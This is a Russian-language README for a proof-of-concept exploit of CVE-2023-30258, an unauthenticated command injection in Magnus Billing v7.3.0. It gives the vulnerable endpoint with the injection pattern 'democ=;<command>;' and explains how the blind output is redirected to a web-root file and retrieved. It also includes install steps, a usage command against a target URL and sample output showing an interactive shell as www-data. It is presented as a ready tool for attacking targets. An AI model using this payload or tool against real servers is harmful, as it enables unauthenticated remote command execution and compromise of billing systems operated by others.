CVE-2023-30258 — Magnus Billing v7: внедрение команд (PoC)

Неаутентифицированная уязвимость внедрения команд в Magnus Billing v7.3.0. GET-параметр democ в icepay.php передаётся напрямую в shell-функцию без санитизации, что позволяет выполнять произвольные команды от имени пользователя веб-сервера. Внедрение является слепым — вывод не отражается в HTTP-ответе, — поэтому этот эксплойт перенаправляет вывод каждой команды в файл в корне веб-сервера и забирает его обратно по HTTP.

Как это работает

1. Отправляет GET-запрос на /mbilling/lib/icepay/icepay.php?democ=;<command>;.
2. Перенаправляет вывод команды в файл в корне веб-сервера (out.txt).
3. Забирает файл вывода по HTTP и выводит результат.
4. Удаляет файл вывода при выходе.

Если целевая система использует другой путь к корню веб-сервера, измените OUTPUT_FILE в начале скрипта.

Требования

• Python 3
• Установите зависимости:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Использование

python3 exploit.py -t http://TARGET

Пример:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Ссылки

• CVE-2023-30258
• EDB-52170
• Оригинальный PoC от Tinashe Matanda

Авторы

• Обнаружение и оригинальный эксплойт: Tinashe Matanda (SadNinja) / CodeSecLab
• Доработка и интерактивная оболочка: Esteban Zárate